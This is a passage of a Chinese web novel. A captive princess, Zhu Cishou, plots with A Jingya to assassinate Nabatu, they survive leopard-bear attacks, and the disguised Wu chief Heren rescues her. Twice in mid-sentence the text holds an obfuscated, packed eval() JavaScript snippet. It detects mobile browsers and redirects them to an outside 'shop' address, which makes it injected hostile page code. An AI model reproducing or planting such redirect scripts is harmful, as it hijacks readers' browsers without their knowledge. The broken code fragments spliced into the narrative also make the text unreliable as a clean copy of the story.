寂静昏暗的夜晚将两个人包裹住,身旁跳跃的火光就像缓慢又平和的呼吸,有规律又不停歇。这样的安静持续了很久,持续到有风吹过后,久在火堆旁的朱辞秋骤然觉得寒冷,再次拢紧身上衣物,又双手环着胸闭眼假寐。 “如果你是我,你会怎么做?” 阿静雅忽然开口,问了这样一句。 朱辞秋靠着树干睁开眼,随意的动作中透露出一丝淡然从容,好像这里并不是什么僻静野外,而是温暖舒适的公主寝殿。 回答的声音不大,一字一句却清晰可闻:“自然是顺应王权,拿到我想要的东西。到那时,任何事情便都能由自己决定。” 她直起身往阿静雅探过去,勾起嘴角露出温和的笑,眼底倒映出阿静雅短暂的、呆愣住的面容,声音逐渐温柔:“阿静雅,你想要什么呢?” “我不信你。” 阿静雅的眼神愈发尖锐,语气冰冷如寒霜。 朱辞秋似有所料,她满不在意地微微一笑,轻声问道:“你觉得乌玉阙为何有今年护卫之权?” 阿静雅有些微怔,随即反应过来,“果然是你。” 她重新靠在树干上,歪头笑了下,“就算你不与我合作,我也可以找母赫族的其他人。亦可以推他们坐上首领之位。” “你威胁我?”阿静雅神情愈发凌厉,瞬间将插在地上的长枪拔起,骤然指向朱辞秋,“我不吃这一套。” “我并非威胁,”朱辞秋看着横在她面前的长枪,静静道,“只是告知。” 她抬起手,食指与中指并拢竖直,将长枪拨到一侧,虽是疑问句却是肯定的语气:“况且,你难道不是故意在此等我吗。” 阿静雅沉默一瞬,忽地收回长枪重新插在地上,她低着头看向火势渐小的火堆,将地上掉落的枯枝捡起来扔了进去,然后学着朱辞秋的姿势,也靠着身后的树干。 良久,阿静雅再次开口:“你为什么帮乌玉阙?” 朱辞秋闭着眼,空中的冷气让她不自觉吸了吸鼻子,“我没有选择。” 阿静雅没有立马回话,一旁的火堆已经彻底熄灭,周遭只能听见风声,还有一些在夜间鸣叫的鸟声。 在朱辞秋快睡着的时候,阿静雅又问:“你要如何助我坐上首领之位?” 听见这话,她睁开眼,偏头看向一旁的阿静雅,轻声笑了下。笑声悦耳,但说出的话却十分尖锐:“得先杀了娜巴图。” 阿静雅噌地一下坐起来,“杀了他?!为什么是他?” “他是娜木寒的侄子,他姐姐是乌玉阙的妻子,算是半个王族人。”她淡淡道,“杀了他,你就能向巫族首领诃仁投诚,也算是完成了你父亲交给你的任务——” 话还未说完,阿静雅便打断她:“他不是我父亲。” 于是朱辞秋顿了顿,继续道:“完成母赫首领交给你的任务。而我,会将此事告诉乌玉阙,会让他来找你,你便伺机又投诚于他。” “你就那么笃定这些会如你所想得这般顺利?” “巫族那边,我只有五成把握。”她如实回答,“但乌玉阙,我很确定。你要做的,便是让他信任你,让他相信你有统帅母赫族的能力且能为他所用。” 阿静雅愣住了,忽然又问:“你在赌?” 朱辞秋淡淡笑道:“不赌一赌,怎么能知道哪里有生路呢?你很聪明,我相信你有自己的判断。” 一旁的少女沉默半晌,最终开口:“我杀不了他,他身旁随时都有奴隶相护。” “我自有办法。”她睁开眼,朝黑暗中的少女微笑,随即便重新闭上眼,说完最后一句话,“过几日找到他们即可。” 阿静雅还想说什么,但朱辞秋已经翻身不再看她,“天色已晚,明日再说吧。” 她只好先作罢。 夜晚总是过得格外快,再睁眼时天光已经大亮,朱辞秋的背部被树干硌的生疼,她伸手摸向后背轻轻揉了揉,看向一旁紧闭着眼皱着眉的阿静雅,轻声叫了声她的名字。 阿静雅立马拿起身旁长枪站起身。 她抬起头,边揉着背边站起身。 清晨林子里的鸟叫声不绝于耳,甚至能在头顶看见几只认不出来的鸟,它们立在树枝上,有一声没一声地叫着,像是告诉林中的众人,该起床打猎了。 两人就这样饿着肚子,也不说话地往前走,好像昨夜的那些交谈都如梦一般被埋在心底。 走到一处野果林,阿静雅用手中的长枪挑下几颗果子,递给朱辞秋两颗。 “多谢。” 朱辞秋将野果在身上擦拭了下,见阿静雅吃下一颗果子后也慢慢地将果子送入嘴中。只是这果子实在难吃,就像在吃腐坏的苹果一般。但无奈腹中饥饿,只好忍着恶心吃了下去。 一路上,她没有闻到血腥气,也没看见人影,就只能在脚底下看见有人走过的痕迹。 “走过这里后, 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但朱辞秋靠近后仔细看向那堆毛发,却觉得像是人类的。 “杀死的野物会被割下皮毛,用于证明自己。”阿静雅走在前头,侧头看了眼纷乱的地下,“但这里,是野物逃掉了。他们没能杀死它。” “这里有什么野物?” “很多,野豹、白狼、豹熊。”阿静雅回答,“但远远不止这三种。” “如果你想我杀掉娜巴图,就最好祈祷我们碰不上这些东西。” 但有时候,人说出的话就会带着点未卜先知。 阿静雅话音刚落,不远处便晃晃悠悠走过来一只巨大无比的豹熊。 朱辞秋握紧狼刀,与面前的少女一步步往后退,直到退无可退,退回到了方才毛发与鲜血纷乱一地的地界,阿静雅将长枪调转指向豹熊,头也不回地对她道:“躲远点。” 她很老实地推到一旁的大树后,手举着狼刀不敢放下。 但忽然感觉身后有一股视线,让她如芒在背。略微回过头看去,发现身后也有一头豹熊,正大张着嘴流着口水,双眼放着绿光地看向她。 朱辞秋登时浑身冒起冷汗,握着狼刀的手忍不住颤抖。她高举狼刀,缓缓往外退,再次退到了阿静雅身后。 两个人就这样被两头豹熊包围,一时间不知该等它们扑向她们,还是要先下手为强。 若此处是它俩的地盘,见它们身上毫发无损,连一丝狰狞的伤口都没有,那地上那堆鲜血与毛发,便是其他人的。 未等朱辞秋反应过来,身后的阿静雅便从随身携带的布包中掏出几根银针,伸出手将银针甩在对面的豹熊身上,又拉过她的胳膊,朝她对面的豹熊扔上几根。 两只豹熊皮糙肉厚并不吃痛,它们甩着身子,猛地叫吼一声,声音大到将林中的鸟惊飞。 朱辞秋身上还有一包半的销魂散,但这两头熊太过巨大,她并不确定能不能将他们药晕,况且这也是为娜巴图准备的迷药,她一时拿不定主意。 就在她摇摆不定时,面前的豹熊忽然猛冲而上,她飞速侧身胡乱挥舞着狼刀,却被豹熊猛扑,她闪躲不及就要被豹熊压在身下时,阿静雅突然一个箭步,猛地将长□□向豹熊的背部,鲜血霎时喷涌,溅了阿静雅满脸。 另一头豹熊见同伴受伤立马飞奔向她们,阿静雅的长枪因为豹熊的横冲乱撞拔不出来,她自己也因猛拽着长枪不撒手而被撞倒在地上,朱辞秋这时急速转身,挡在她面前,右手将狼刀举起横在面前,左手伸向怀中,想将销魂散拿出。 而此时,从豹熊身后骤然射出一支云箭,似乎是射在豹熊的腿上,豹熊吃痛猛地向后转身。 只见“咻”的好几声,五六支云箭将豹熊射了个对穿,那豹熊还在挣扎,朱辞秋忽然上前用狼刀狠狠看在它脖颈处,鲜血飞溅在她脸上,她却猛地拔出狼刀,冷眼看向对面的人。 对面的年轻男人吹了声哨子,咧着嘴看向她,语气轻松:“我算是知道为何他们都喜欢带奴隶了。” 22. 第二十二话 朱辞秋只瞥了他一眼,并不理会他,随即握紧狼刀朝身后另一头豹熊而去。 阿静雅的长枪根本取不下来,此时她已经松开手,被豹熊猛地一甩,滚到了一旁的血堆中,见那豹熊飞速奔跑再次转身冲向她,她迅速靠着树干站起身,又从布包中甩出银针扎入豹熊身躯内,却只会让它更躁动。 眼看就要冲向阿静雅,朱辞秋停在原地大声喊了一声:“阿静雅!” 她举起手中的狼刀,直愣愣地扔向阿静雅。后者双腿使力猛踹树干,侧身躲过豹熊的攻击伸出手稳稳接住狼刀,又迅速转身将狼刀猛地插向豹熊的背部,这也让阿静雅整个人都趴在豹熊的背部,被它甩得晕头转向。 朱辞秋来不及思考,她转身冲向那个陌生男人,一把夺过他手中的弓箭,从死去的豹熊身上拔出云箭,迅速搭好弓箭,连瞄准都没有来得及地做,便直直射出云箭。 豹熊的大腿被箭射中贯穿,立马半趴在地上,此时阿静雅已经抽出狼刀,她再次插向豹熊的另一侧,鲜血已经将她整个人都染透。 见阿静雅身下的豹熊渐渐不再动弹,朱辞秋骤然浑身卸力,将弓箭扔回给男人,靠在一旁的树上缓缓地用衣袖擦干净脸上的血渍。 “你准头不错嘛!” 年轻男人踢了一脚断气的豹熊,将弓箭攥在手中,饶有兴趣地盯着她,语气轻佻。 她连眼皮都未抬,余光看向的阿静雅那边,见阿静雅已经拔出了长枪,坐在地上歇气后,才略微施舍些眼神给男人,语气平淡又冷漠:“你胡子要掉了。” 男人闻言,立马摸向自己的嘴边,发现自己的胡子完好无损,便又迅速放下手,装作若无其事地走向她,他用弓箭指着她,笑道:“你怎么看出来的?” 朱辞秋看了他一眼,却懒得理他,只一掌拍开弓箭,缓步朝阿静雅走去。 她朝阿静雅伸出手,阿静雅愣了下,随即便拉住她的手站起身。 “狼刀。” 这两个字与阿静雅的动作重叠,让后者扶住她的手一顿。朱辞秋皱了下眉,看着顺势站起来的阿静雅,重复一句,“我的狼刀。” 阿静雅沉默一瞬,将豹熊尸体上的狼刀拔出来递给她,她伸手接过后又把刀往那豹熊尸体的干净之处蹭了蹭,将血渍抹干净。随即又将刀递给阿静雅,扭头道:“用这个,割下皮毛。” 少女愣怔地看向她,眼神中充满着不理解,仿佛在说我们并非来狩猎的,为何要这般做。 她一直将刀递在阿静雅面前,眼神坚定,神情严肃,似乎能让人毫不怀疑般接受她的命令。 最终浑身是血的少女接过狼刀,将豹熊皮毛割下不大不小的一角递给她,朱辞秋皱着眉忍着血腥气将皮毛上残留的血蹭在豹熊背上,待血渍略微干净后扔回给阿静雅,指了指她身上的布包,让她揣在里头放好。 朱辞秋将狼刀放回不知何时扔在地上的刀鞘,朝阿静雅淡淡道:“走吧。” 戴着假胡子的年轻男人似乎很不满意她们忽视他,于是跳到前头挡住去路,“我帮了你们,你们就这么对我视而不见?” 朱辞秋与阿静雅停在原地,同时抬头。阿静雅忽然皱起眉头,握着长枪的手愈发用力,像是随时都能将长枪指向对面的陌生男人。 她瞥了眼一旁的阿静雅,按住她的手,率先开口:“多谢。”又用下巴点了点身后的豹熊,“它是你的了。” 随即便不再理他,二人径直越过他身侧朝前走去,身后的男人“喂”了半天,最终似乎是看她们仍自顾自地离去,这才歇了声音。 越往前走,便能见到越多野物与人搏斗的痕迹,血渍与杂乱的脚印在道路与林中纠缠不清,就连一旁的树丛都被溅上许多血。 “你为何要我割下野物皮毛?” 阿静雅忽然低声问道。 朱辞秋观察着四周,又朝后看了眼,确认周围暂时没有危险,那陌生男人也没跟上来后,淡淡道:“昨夜你杀死的,并不是普通的蛇吧。这头豹熊算是你猎杀的第二只野物,再杀一只,你就能获得奖赏。” 阿静雅忽然停下来,用余光看向她。 “不用这般看着我,”她笑了笑,继续往前走,“你也看见了,我不会阻止你。” 只是话音未落,她便继续问道:“不过你方才,想杀他?” “不,”阿静雅跟上来,满脸的血只被她随意一抹,因此有些血渍已经干在脸颊处,但她本人却毫不在意,“我只是闻到他身上有巫族的味道。” 朱辞秋一愣:“巫族的味道?” 阿静雅扭头看了她一眼,“巫族的贵族,自小便会熏一种由巫师长老特制的神山香。神山香气味难觅,却也独特。” 朱辞秋沉默一瞬,想起方才自己确实除了血腥气外什么都没闻到,她一面往前走一面问道:“你从前闻见过?” “嗯。”阿静雅淡淡道,“领主夫人的亲哥哥娜柴德曾率人来我族争夺地盘,我闻见过他们身上的味道。” “你五感还挺灵的。” 阿静雅反问:“你想说我是狗?” 她笑了笑,并不回答。 过了一会,她忽然问道:“你见过诃仁吗?” 阿静雅愣了下,似乎不明白为何她会忽然问这个,但还是摇了摇头,“只知他右臂有一处黑色胎记。” 朱辞秋顿住,转头看向她,“所以你就凭这唯一的信息找人?” 阿静雅补充:“还有味道。” 此话一出,两人又陷入沉默,只闷头朝前走,也不知走了多久,忽然走到一处分岔路,阿静雅蹲下身仔细查看地下的脚印。 两旁都是茂密幽深的树林,脚印也是一样的多,并不能立马分辨出阿静雅曾跟着的巫族人究竟往何处而去。 朱辞秋学着阿静雅的动作也蹲下身,凑近另一岔路口的地面看了又看,忽然发现此处地上似乎有拖拽货物的痕迹,只不过这痕迹太轻太杂,并不叫人轻易发现。她立马招手唤阿静雅过来查看。 “是奴隶拖着背囊的痕迹。”阿静雅看了半晌,轻声说道,“这痕迹被后来的人不停踩踏,所以看不真切。” 阿静雅又回到方才观察的岔路口再次仔细查看了一番,发现确实无背囊的痕迹。 那娜巴图他们有极大可能性往此处而行,但交叠杂乱的痕迹也说明这条路上,不止娜巴图一行。 朱辞秋沉默一会,问道:“他带了多少奴隶?” 阿静雅回答:“五名。” “他还真是众星捧月。”听见数字后,朱辞秋随口说道,然后便站起身,望着树林深处,“走吧,去摘掉他这颗烂掉的星。” 道路旁的杂草越来越多,粗壮的大树几乎将头顶上的阳光全部遮挡住,林中的空气也愈发寒冷,朱辞秋抬起头,似乎又看见了阴云。 又不知走了多久,她与阿静雅饿了就吃两个野果子,踏过无数树丛与小道,看见许多不知是人还是野物的血渍后,她的腿走得实在酸痛不已,身上的血渍与汗水黏在一起,浑身变得腥臭无比。若非实在忍不住了,她是不会让阿静雅与她一同在一条小溪流处略作停留的。 这小溪流里的水冰冷刺骨,她随意洗了把脸都觉得浑身在冻得打颤,一旁的阿静雅好似感受不到冷意般,还能不停地捧住溪水往身上脏污的地方泼。 朱辞秋站起身,忽然看见在溪流的对面有一具尸体。 天色渐晚,她也没有闻到血腥气,因此并不确定是否是自己眼花看错,于是不由得凑近多看了几眼,只见那尸体似乎是被野物啃咬过,周身全是血窟窿,干涸的血渍染透了身旁的野草与枯枝。 看清后,朱辞秋骤然感觉到危险,不自觉朝后退了一步。 阿静雅却给她指了指一旁散落在草丛中,冒出一点头的黑色箭匣,冷静道:“这里的野物被他们杀了,不用慌张。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13438449|141496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 顺着少女手指的方向,她才看清楚那里的确有一只用空了的箭匣。 她跟在阿静雅身后,走到堆在小溪流上的石堆处,慢慢踩着石头到了对面。她这才看清那尸体身旁,有无数散落的云箭。 阿静雅拾起箭匣,沉声道:“巫族的箭。” 朱辞秋冷静下来,沉默地望了阿静雅一眼,二人默契地顺着这条路继续朝前走。 黑夜很快便又来临,她与阿静雅不得不先找个安全的地方躲起来歇一晚,好在前头有娜巴图的人替她们探过危险,她们很快找到一处暂时安全的,被树丛包裹住的小空地。 只是这里的枯枝并不多,且在这样危险的环境下,她们也并不敢生火,只能摸着黑靠在一棵粗壮的树干上略微休息片刻。 朱辞秋忽然觉得自己有些头疼,连带着身上都不自主地有些颤抖,她裹紧衣物,将狼刀抱在怀中,睫毛因为寒冷与疼痛一颤一颤的。 “喂!”阿静雅忽然摇着她的肩膀,低声又急切地大喊,“醒醒!” 她睁开眼,觉得面前的阿静雅有些模糊,本能地摇摇头,将眼前的模糊视线散去。 “我看见火光了!” 阿静雅小声地凑到她耳边,用手指着一处方向。 朱辞秋这才打起精神,将视线锁定在阿静雅手指的方向。 对面亦有一小块空地,中间有树丛与灌木环绕阻挡着,她们只能看见对面的点点微光,以及奴隶偶尔站起身时,露出的背着有巫族标志的背囊。 对面的人似乎觉得此地十分安全,还在大声说话谈笑。 谈笑间,朱辞秋听见他们说前面的野物巨大又凶猛,因此才退到此处,等着明日将它一举拿下。她仔细听了听,听出了娜巴图的声音,还有一道陌生的声线,看起来对面就只有娜巴图与他的奴隶,以及另外一人。 沉默半晌后,她从怀中掏出一包销魂散,声音似乎因为身体不适而变得有些沙哑,“这是迷药,能让他们昏睡片刻,我等会儿吸引他们的注意力,趁机散下迷药,你便立马动手。” 阿静雅想开口说些什么,但她却不给她这个机会,她将手中的狼刀递给她,继续道:“用这个,不要用长枪。得手后,将尸体藏好,不要被野物发现。三日后不管有没有找到诃仁,杀死第三种野物后立马发出信号弹,将娜巴图的尸体放回原地,引人来后你再离开。” “那你呢?” 朱辞秋顿了顿,“我也有我要做的事。” 阿静雅深深地看了她两眼,只是天色太黑,她只能听清少女的语气,似是威胁又似是希望:“别死了才好。” 少女从布包中掏出一把佩刀,塞到她手中,“拿好了,我会找你要回来的。” 她朝她笑了笑,攥紧佩刀,“我命大得很。”又望向对面欢笑的火光之处,轻声道,“准备好了吗?” “奴隶也要杀死?”阿静雅又问,“另一个人怎么办?” “杀三个,留一个。”朱辞秋回答,“也杀了,扔在树丛中,自有野物过来解决。” 言罢,她深吸一口气,双手紧攥住衣摆,然后便站起身,踏出第一步。 脚下的落叶被踩得吱呀作响,声音在寂静的夜晚显得格外大,但那群正吃肉谈乐的人似乎听不见。 直到她将树丛拨得沙沙作响,娜巴图与他的同伴才握住佩刀与弓箭站起身。 她脸色不知何时变得有些苍白,看起来像是因为在黑夜中担惊受怕至极导致的,是以娜巴图看见她后,先是愣了下,随后便哈哈大笑,松开了握住佩刀的手,又招呼着他的同伴坐下。 “怀宁殿下?你来做甚?”娜巴图眼神恶心地上下扫视着她,神情让人作呕。 朱辞秋温柔一笑,身姿婀娜,缓缓走近娜巴图,将手放在胸口处,像是在对娜巴图行礼。 她弯着腰,另一只手默默攥紧衣摆,轻声说道:“来取你狗命。” 23. 第二十三话 娜巴图闻言,像是听见什么好笑的笑话,他搭着同伴的肩膀,扬起下巴,轻蔑地笑道:“狗命?殿下说的是取自己的狗命吗?” 朱辞秋抬起头,温和地笑了下。那四个奴隶跪在地上垂着头,娜巴图的同伴也是个年轻男人,双眼放着令人作呕的绿光,与他一同放肆地笑着,声音大到她觉得有些头疼。 她迈着轻缓的步子,偏头盯着火堆架子上的烤肉,随即在离娜巴图五步的距离站定,注视着他的双眼,笑问:“我跳一支舞,换一顿晚饭,你觉得如何?” 娜巴图愣了下,笑容放肆恶劣,“想吃我的肉,一支舞可不够啊殿下。” “若殿下跳到我满意为止,我便赏殿下一块肉。” 她笑容愈发温柔,往后退了一步,娜巴图身边的同伴却双手环胸,忽然开口道:“我们巫族的舞姬主动献舞前,都会先跪在主人身边以示尊敬。” 话音未落,娜巴图的目光锁定在她身上,嘴角的弧度缓缓上扬,似乎在等待她的俯首称臣。 朱辞秋眼底闪过一丝狠戾不快,她重新抬眼,正要靠近娜巴图时,面前坐着的男人眼珠子转了一圈,在看见她手中像是攥着什么东西般紧握在身侧,忽然站起身,抬起手让一旁跪在地上的奴隶齐齐围住她。 她被迫停在原地。 娜巴图昂首,掀起眼皮,露出放着精光的双眼。他握紧佩刀,猝然反应过来般,冷然问道:“说起来,殿下还没告诉我,你为何会出现在此处?” 可他没等朱辞秋回答,便朝身旁与他一同站起来的同伴指了指她的右手,道:“去把她手中的东西拿过来。” 同伴点头应了声,跨步走向她。 两旁的奴隶自觉让出一条路,这位其貌不扬却格外高大的年轻男人站立在她对面,将火光挡住一大半。 他埋首看向朱辞秋的右手,一手握紧佩刀一手伸向此处。 朱辞秋却在他拽住她之前,主动将手抬了起来,右手放松,将手掌摊开对着高大的年轻男人,笑道:“什么都没有。” 年轻男人回头看了眼娜巴图,娜巴图点了点她另一只手,于是面前的男人又示意她将左手举起。 她将右手放下,在男人的注视下,缓缓举起左手,将手掌张开对着面前的男人。 双手皆空无一物。 男人冷笑的声音与微风同至,正欲转身之时,她忽然尖叫一声往后退了几步,摔倒在地上。娜巴图与男人立马拔出佩刀,身旁的奴隶也齐齐面对着她。 “一惊一乍的你要做什么?” 娜巴图冷声问道,见她仍低着头,便朝奴隶点头示意,让他们将她双臂抓住拽起来。 当那两名奴隶靠近她时,被奴隶挡住视线的右手窄袖中掉落出一件东西,被她单手敏捷地铺开。 在他们触碰到她时,她抬手一扬又迅速用衣摆捂住口鼻。 两名奴隶被细微粉末呛得咳嗽一声,纷纷往后退去。娜巴图与男人立马惊觉不对,迅速指示另外两名奴隶拉住他们,但粉末在风中飘扬,很快另外两名奴隶也吸入粉尘不自觉地软了身子朝后倒去。 “捂住口鼻!” 娜巴图将口鼻捂住,又迅速提醒一旁的男人,他眼神狠戾,与男人一同挥舞着佩刀刺向她。 朱辞秋向后滚去,但闪躲不及,左肩狠狠受了一刀,痛意麻痹一瞬便立马席卷全身。 恰在此时,阿静雅戴着面罩忽地窜出来,挡在她面前。阿静雅头也不回,只沉稳地吐出两个字来:“快走。” 娜巴图身旁的男人一个箭步冲上前,抬手举起狼刀就朝她与阿静雅而来。阿静雅将布包中的银针甩手刺入男人膝盖,让他猛地跪在地上,捂住口鼻的手险些脱力。 她不再耽搁,捂住口鼻站起来迅速转身,回头再看时,只见阿静雅挥舞着狼刀,比男人要娇小许多的身躯飞速又敏捷地躲过攻击。 朱辞秋不多作停留,待完全避开迷药之地后,捂着冒血的伤口,顺着来时的路朝早前杀死豹熊的方向所去。 黑夜难行,一路风声萧瑟树叶沙沙作响,四处都像是危机四伏的陷阱,她闷头扎进黑暗中,却连血腥气都闻不到了。 感觉到身上越发乏力,朱辞秋伸手摸了摸自己的额头,果然滚烫。又走过了溪流,她弯下腰用水泼了把脸,往前走时忽然头晕目眩,只好靠在不远处的树干上,视线愈发模糊,忽然一旁有阵阵响声,闻声望去只能看清一道模糊的人影。 那人缓步走向她,似乎轻声笑了下。最后一个手刀砍在她脖颈后侧,让她彻底失去知觉。 朱辞秋再睁眼时,仍是黑夜。一旁的火堆滋滋燃烧着,对面仍是一条溪流,但却不是原先她与阿静雅路过的地方。 她身上盖着一件外套,是一件宽大的男人外套。侧头看了眼左肩,发现肩上的衣物被撕烂,伤口也被处理妥当。 抬头望去,看见不远处,外套的主人正在溪流处用树枝往流淌的河水中插,似乎在捕鱼。她将外套搁在一旁,扶着树干站起来,但忽然想起什么,又弯腰拾起外套,凑到鼻尖闻了闻。 外套上有一股并不明显的香味,就像沐浴焚香后的味道,令人心旷神怡。 烧退后,她的五感回来了。 朱辞秋越过火堆,靠近溪流。男人似有所感,回头望向她,手中的动作却不停,继续往河中探。 “你醒啦?” 是早前在射杀豹熊时,遇见的男人。 男人略看她一眼,便又专心致志地捕鱼,但嘴里也不停歇:“你睡了两日,饿不饿?” 朱辞秋拎起衣摆,缓缓靠近他,在他身旁低头看着他捕鱼的动作,并不说话。 男人侧头不明所以地看了她一眼后,继续转身捕鱼。 大约过了三刻,男人终于摸黑捕到两条小鱼,他扔掉树枝,将活蹦乱跳的鱼用衣裳捧住,转身就往回走。 此时朱辞秋忽然伸出手,乘其不备的时候在他背后一推,让男人往溪流中倒去。 男人面目朝下眼看就要栽在水中,好在他身手敏捷,迅速反应过来,原地旋转一圈将腰直起重新站起来,在保住衣裳中的小鱼时,身上只略微沾上些许河水。 但朱辞秋在黑夜中忽然朝他一笑,再次伸手触碰到他,与他一同栽在河水中。 就算出乎意料再次栽倒在河中,男人仍然将那两条来之不易的小鱼攥紧在怀中,他一面攥着鱼站起身一面朝朱辞秋咆哮:“你有病吧?!” 朱辞秋却不管他,径直往回走,身后的溪流因为她的动作泛起涟漪。 她在火堆照耀下的空地上,看见几根长树枝,于是把它们拢到一处,用怀中阿静雅给她的小刀割下外套的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13438450|141496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几块布条子,又用它们捆住三根树枝,让这些树枝能够立在空地上。 这样做了两个能立在空地上的架子后,男人一屁股坐在火堆处,那两条被他捂得半死的鱼已被他在河边开膛破肚了,此时他正往鱼身上穿着树枝,又将其中一条鱼放在火堆上烤着。 朱辞秋拎着木架放在火堆后面寸尺之地,确定火堆不会烧到木架后,她在木架上头又搭了一根长树枝,最后将被撕坏衣角的外套铺在上头,做成了一个简易的屏风,让她与男人的视线隔绝开。 男人看见这莫名而来的屏风,有些气笑了,“都说中原女人事多,果然如此。” “不想伤风就将湿透的衣裳脱下来。”朱辞秋将外套脱下,搭在木架上,平静道。 男人有些不乐意,“喂,我好歹救了你两次,你什么态度?” 于是她道:“多谢。” 透过衣裳的缝隙,她能看见此时男人脸上的假胡子已经不见,露出原本硬朗又异域的脸,比同样脸型的乌玉阙要好看数倍。 男人似乎也觉得湿衣裳穿在身上格外不舒服,于是便放下手中的鱼,将上衣脱下。 朱辞秋避开视线,却在男人伸手将衣裳扔在架子上时,看见他右臂上的黑色胎记。 “怀宁殿下,”男人赤裸着上身坐回原地,他忽然出声,声音带着一丝玩味,不似先前明亮,“不就是想确认我的身份吗,现在可看清了?” 他就是诃仁,新任的巫族首领。 朱辞秋沉默一瞬,道:“你故意的。” 诃仁倒是很坦然,他翻转着手中的烤鱼,嗯哼一声:“不然你早死在这里了。” 他抬起头,看向木架后面的朱辞秋,又道:“不过你选择杀娜巴图,是因为他羞辱了你?” “你一直跟在我身后。”朱辞秋冷冷出声,“你的目的是什么?” 诃仁自叹一声,声音甚至有些无奈:“我说殿下,你还没有回答我的问题呢。” 话音未落,朱辞秋便迅速说了声是,紧接着又道:“你在王族有探子。” 诃仁声音顿了下,没来得及继续说话,就听见她道:“是娜依莎。” “引我火烧奴营的,也是你。你试探我。” “你有何证据证明娜依莎是我的探子,引你烧营的是我?” “没有,我猜的。” 诃仁啧了声,手中的鱼也不翻转了,他直愣愣地盯着木架,然后笑道:“你还真有意思,猜得都说得这般笃定。我在王族是有探子不错,但引你烧奴营的可不是我。” 朱辞秋冷笑一声,声音愈发凌厉:“撒谎。” “不要污蔑我。”诃仁不满出声,“我可没有你们大雍人的那些弯弯绕绕。” “一个能杀死自己父亲,又踹下多年威望盛极的爷爷,独坐首领之位的人,怎么可能会单纯。” 诃仁烤鱼的手一顿,眼神变得森然,连语气都骤然冰冷:“你们大雍人就这么喜欢揭人老底?” “哦?”朱辞秋笑了笑,淡淡道,“除了我,还有谁揭过?” 诃仁没有说话。 她透过衣裳间的缝隙,看见他的嘴角僵住一瞬,沉默半晌后又问道:“你为何故意跟着我?” “很简单啊,”诃仁恢复原样,勾起嘴角,十分吊儿郎当,“因为我喜欢你啊。” 24. 第二十四话 “……” 四周鸦雀无声,好似就连火堆发出的燃烧声都凝固一瞬。 烤鱼飘出将要熟透的香味,诃仁举起来闻了闻后继续放在火上烤,他抬起头,隔着木架上的衣裳看向朱辞秋,不自觉笑出来。 见朱辞秋毫无反应,声音便越发大起来。 她忍无可忍,冷冷地开口打断他:“笑够了?” “殿下怎么这么震惊?”诃仁敛住笑声,话语间的尾音却还带着些笑意,“我还以为,你会立刻开口骂我呢。” 朱辞秋听后,只淡淡道:“你很无聊。” 诃仁耸耸肩,将双腿伸直,用空闲的手垂着大腿,做出一副对她很不满意的表情,道:“殿下你瞧瞧自己,像是审问犯人般对待我,这便是你们大雍人对待救命恩人的态度?” 有风吹过,掀起挂在木架上的衣裳一角,她与诃仁的视线交汇,又迅速移开。 “我方才已道过谢了。”她声音停顿一下,转而又道,“我换个问题问你。” 诃仁嗯哼一声,转动着木棍上的鱼。 朱辞秋左右环顾,最后眼神定格在木架上,“此处是哪里?” 话音未落,那边的诃仁却站起身,举起烤鱼,香味顺着风飘入她鼻中。 尚未反应过来,上身赤裸的诃仁便毫不避讳地站在木架面前。他隔着木架露出腹部以上的位置。 朱辞秋侧首低头避开视线。 “殿下,”诃仁隔着木架将烤好的鱼递给她,在她面前晃了两下,“不如先吃鱼吧,我们吃完再说。” 她没有动,烤好的鱼便又在她跟前晃着,最终她伸手接过冒着热气与香味的烤鱼,却只是攥在手中一动不动。 诃仁拍拍手掌,又一屁股坐回原位烤起另一条鱼来,“吃吧殿下,我可不敢下毒。” 她仍旧未动,重复了一遍方才那个问题。 至于为何会问这样的问题,她虽不熟悉西岭,但观之此处,却不似先前一路所见般熟悉,太过陌生的地方让她不得不心生警惕与提防。 面前的男人也是个笑面虎,看起来吊儿郎当,心思却格外深沉。 诃仁大叹一声,往火堆添了一把枯枝后,见火势加大,便忽然开口向她问起另一件事,“我倒想请殿下先回答我,为何要让那母赫族的女人三日后才放信号弹呢?” 可不等她回答,正在烤鱼的男人换了个姿势,又自顾自道:“三日。你不怕娜巴图的尸首被野兽发现咬烂?你就这么信任那个女人能藏好?为何又不顾生死地想找到我?” 他忽然笑了声,似乎觉得自己将她看穿,“从那女人说出我身上的味道后,你就开始怀疑我。所谓的三日,只不过是你的幌子。” “不得不说,怀宁殿下真是个合格的赌徒。” 朱辞秋闻言,垂首看向手中的烤鱼。她跟阿静雅说的三日后放信号弹,的确是故意为之。为何会这般说,只不过是射杀豹熊后察觉到他的踪迹,猜此人是否是故意跟着她。 是以故意说出三日期限,只是想看暗处的诃仁会做什么。她赌诃仁不会救娜巴图,也赌他会故意让她计划成功。 她替他铲除娜巴图这个人,便也赌他不会阻止她的计划,甚至为避免她的计划节外生枝骤生变故,会替她提前放出信号弹,让他们发现娜巴图新鲜的尸体。 至于阿静雅,她并不担心她不会随机应变。 “不过——” 诃仁忽然开口,“我写了封信让飞鸽递交给乌图勒。” 朱辞秋抬起头,在衣裳映出的人影中,看清了火堆旁的男人仍然专心致志地烤着鱼,就像个朴实的牧民,可语气却充满危险。 “我说,是你杀了娜巴图,所以我要拿你回巫族问罪。” 